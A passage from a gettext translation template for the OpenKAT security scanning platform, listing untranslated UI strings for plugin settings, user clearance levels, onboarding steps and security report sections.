\"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting\"\nmsgid_plural \"Add settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Setting\"\nmsgid_plural \"Settings\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_add.html\nmsgid \"Add setting and enable boefje\"\nmsgid_plural \"Add settings and enable boefje\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\nmsgid \"Delete settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_delete.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete all settings for the plugin %(plugin_name)s?\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"\"\n\"In the table below the settings for this specific Boefje can be seen. Set or \"\n\"change the value of the variables by editing the settings.\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Configure Settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Overview of settings\"\nmsgstr \"\"\n\n#: katalogus/templates/plugin_settings_list.html\nmsgid \"Variable\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Session has terminated, please select objects again.\"\nmsgstr \"\"\n\n#: katalogus/views/change_clearance_level.py\nmsgid \"Change clearance level\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\nmsgid \"Settings from {} to {} successfully cloned.\"\nmsgstr \"\"\n\n#: katalogus/views/katalogus_settings.py\n#: katalogus/views/plugin_settings_list.py\nmsgid \"Failed getting settings for boefje {}\"\nmsgstr \"\"\n\n#: katalogus/views/mixins.py\nmsgid \"\"\n\"Getting information for plugin {} failed. Please check the KATalogus logs.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_detail.py\nmsgid \"\"\n\"Some selected OOIs needs an increase of clearance level to perform scans. \"\n\"You do not have the permission to change clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' disabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"{} '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"You have not acknowledged your clearance level. Go to your profile page to \"\n\"acknowledge your clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is not set. Go to your profile page to see your \"\n\"clearance or contact the administrator to set a clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"\"\n\"Your clearance level is L{}. Contact your administrator to get a higher \"\n\"clearance level.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_enable_disable.py\nmsgid \"To enable {} you need at least a clearance level of L{}. \"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Trying to add settings to boefje without schema\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"No changes to the settings added: no form data present\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Added settings for '{}'\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Failed adding settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Enabling {} failed\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Boefje '{}' enabled.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_add.py\nmsgid \"Add settings\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Settings for plugin {} successfully deleted.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"Plugin {} has no settings.\"\nmsgstr \"\"\n\n#: katalogus/views/plugin_settings_delete.py\nmsgid \"\"\n\"Failed deleting Settings for plugin {}. Check the Katalogus logs for more \"\n\"info.\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"\"\n\"The clearance level determines how aggressive the object can be scanned by \"\n\"plugins. A higher clearance level means more aggressive scans are allowed.\"\nmsgstr \"\"\n\n#: onboarding/forms.py tools/forms/ooi.py\nmsgid \"explanation-clearance-level\"\nmsgstr \"\"\n\n#: onboarding/forms.py\nmsgid \"Please enter a valid URL starting with 'http://' or 'https://'.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/onboarding_header.html\nmsgid \"Onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"Welcome to OpenKAT!\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"Welcome to the onboarding of OpenKAT. We will walk you through some steps to \"\n\"set everything up.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"\"\n\"At the end of this onboarding you have added your first object, created your \"\n\"first DNS report and learned about some basic concepts used within OpenKAT.\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_1_introduction_text.html\nmsgid \"The full documentation for OpenKAT can be found at:\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\n#: rocky/templates/organizations/organization_add.html\nmsgid \"Organization setup\"\nmsgstr \"\"\n\n#: onboarding/templates/partials/step_2_organization_text.html\nmsgid \"\"\n\"Please enter the following organization details. The organization name can \"\n\"be changed later in the interface. The organization code cannot be changed \"\n\"as this is used by the database.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\n#: reports/report_types/concatenated_report/report.py\nmsgid \"Report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Boefjes are scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"The enabled Boefjes are running in the background to gather the data for \"\n\"your DNS Report. This may take a few minutes.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"\"\n\"In the meantime you can explore OpenKAT and view your DNS Report on the \"\n\"Reports page once it has been generated.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_10_report.html\nmsgid \"Continue to OpenKAT\"\nmsgstr \"\"\n\n#: onboarding/templates/step_1_introduction_registration.html\n#: onboarding/templates/step_1a_introduction.html\nmsgid \"Let's get started\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: onboarding/templates/step_2b_organization_update.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization details\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2a_organization_setup.html\n#: rocky/templates/forms/json_schema_form.html\n#: rocky/templates/organizations/organization_add.html\n#: rocky/templates/organizations/organization_member_add.html\n#: rocky/templates/organizations/organization_member_add_account_type.html\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\n#: rocky/templates/partials/form/indemnification_add_form.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Submit\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\nmsgid \"Submit changes\"\nmsgstr \"\"\n\n#: onboarding/templates/step_2b_organization_update.html\n#: onboarding/templates/step_3_indemnification_setup.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification setup\"\nmsgstr \"\"\n\n#: onboarding/templates/step_3_indemnification_setup.html\nmsgid \"Indemnification on the organization is already present.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"User clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The user clearance level specifies the maximum scan level for security scans \"\n\"and the maximum clearance level you can assign to objects (e.g. a URL).\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"The administrator assigns a maximum user clearance level to each user. This \"\n\"will make sure that only trusted users can start more aggressive scans.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"\"\n\"A user must accept a clearance level, before they perform actions in \"\n\"OpenKAT. Here you may accept the maximum trusted clearance level, as \"\n\"assigned by your administrator. On your user settings page you can choose to \"\n\"lower your accepted clearance level after completing the onboarding.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"What is my clearance level?\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Unfortunately you cannot continue the onboarding. </br> Your administrator \"\n\"has trusted you with a clearance level of <strong>L%(tcl)s</strong>. </br> \"\n\"You need at least a clearance level of \"\n\"<strong>L%(dns_report_least_clearance_level)s</strong> to scan \"\n\"<strong>%(ooi)s</strong> </br> Contact your administrator to receive a \"\n\"higher clearance.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: onboarding/templates/step_6_set_clearance_level.html\n#: onboarding/templates/step_7_clearance_level_introduction.html\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\n#: onboarding/templates/step_9_choose_report_type.html\n#: rocky/templates/partials/form/boefje_tiles_form.html\nmsgid \"Skip onboarding\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has trusted you with a clearance level of \"\n\"<strong>L%(tcl)s</strong>. </br> You must first accept this clearance level \"\n\"to continue.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"\"\n\"Your administrator has <strong>trusted</strong> you with a clearance level \"\n\"of <strong>L%(tcl)s</strong>.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Add an object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"OpenKAT uses various kinds of objects, like IP addresses, hostnames and \"\n\"URLs. In the onboarding we will add an URL object, such as our vulnerable \"\n\"OpenKAT website: https://mispo.es.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Related objects\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"\"\n\"Most objects have dependencies on the existence of related objects. For \"\n\"example a URL needs to be connected to a network, hostname, fqdn (fully \"\n\"qualified domain name) and IP address. When possible OpenKAT automatically \"\n\"collects and adds these related objects by running scans. Objects can also \"\n\"be manually added.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_5_add_scan_ooi.html\nmsgid \"Create object\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set object clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"\"\n\"After creating a new object you can set a clearance level for this object. A \"\n\"clearance level determines how aggressive the object can be scanned. A \"\n\"higher clearance level, means that more aggressive scans are allowed. \"\n\"Clearance levels can always be adjusted later on.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\n#, python-format\nmsgid \"\"\n\"For the onboarding we use a clearance level of \"\n\"L%(dns_report_least_clearance_level)s, meaning only informational scans are \"\n\"allowed.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_6_set_clearance_level.html\nmsgid \"Set clearance level\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"Plugin introduction\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan your objects. Each plugin has a scan level to \"\n\"specify how aggressive the scan is. Plugins can only scan those objects with \"\n\"a clearance level that is equal to, or higher than the scan level of the \"\n\"plugin. Plugin scan level are indicated by the number of cat paws.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>DNS Zone</strong> has a scan level of 1, meaning that it \"\n\"performs non-intrusive scans which look for publicly available information. \"\n\"It scans objects with a clearance level of 1 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_7_clearance_level_introduction.html\nmsgid \"\"\n\"The plugin <strong>Fierce</strong> has a scan level of 3, meaning that it \"\n\"more aggressive and could potentially break things. It scans objects with a \"\n\"clearance level of 3 or higher.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enabling plugins and start scanning\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"OpenKAT uses plugins to scan, check and analyze. There are three types of \"\n\"plugins.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The first plugin are <b>Boefjes</b>, which scan objects for data. These are \"\n\"security tools like nmap, LeakIX and WPscan. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"The other two plugins are <b>Normalizers</b> and <b>Bits</b>, which are used \"\n\"to process the output of Boefjes. They can create findings and related \"\n\"objects. Bits are also used to create organization specific findings, based \"\n\"on policy requirements. </p>\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"\"\n\"For the onboarding we will enable the Boefjes shown below. Once enabled \"\n\"these Boefjes gather publicly available information on suitable objects with \"\n\"a clearance level of 1 or higher. Normalizers and Bits are enabled by \"\n\"default.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_8_setup_scan_select_plugins.html\nmsgid \"Enable and continue\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate a report\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"Reports can be used to gain more insights in your organizations assets. You \"\n\"can generate different types of reports in OpenKAT. Each report may require \"\n\"one or more plugins that provide the input for the report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"\"\n\"For the onboarding we will generate a DNS report for your added URL. In the \"\n\"previous step you enabled the required plugins for this report.\"\nmsgstr \"\"\n\n#: onboarding/templates/step_9_choose_report_type.html\nmsgid \"Generate DNS Report\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"1: Welcome\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"2: Organization setup\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"3: Add object\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"4: Plugins\"\nmsgstr \"\"\n\n#: onboarding/view_helpers.py\nmsgid \"5: Generating report\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully created.\"\nmsgstr \"\"\n\n#: onboarding/views.py\n#, python-brace-format\nmsgid \"{org_name} successfully updated.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Creating an object\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Fetch the parent DNS zone of a hostname\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Finds subdomains by brute force\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select a plugin to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Please select all required plugins to proceed.\"\nmsgstr \"\"\n\n#: onboarding/views.py reports/views/aggregate_report.py\n#: reports/views/generate_report.py\nmsgid \"An error occurred while enabling {}. The plugin is not available.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Plugins successfully enabled.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"Web URL not found.\"\nmsgstr \"\"\n\n#: onboarding/views.py\nmsgid \"\"\n\"Your report is scheduled for generation in about 3 minutes, as we are \"\n\"waiting for Boefjes to complete. In the meantime get familiar with OpenKAT \"\n\"and visit the Reports History tab later.\"\nmsgstr \"\"\n\n#: reports/forms.py tools/forms/ooi_form.py\nmsgid \"Filter by OOI types\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Today\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Different date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yes, repeat\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start date\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Start time (UTC)\"\nmsgstr \"\"\n\n#: reports/forms.py\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recurrence\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"No recurrence, just once\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Daily\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Weekly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this 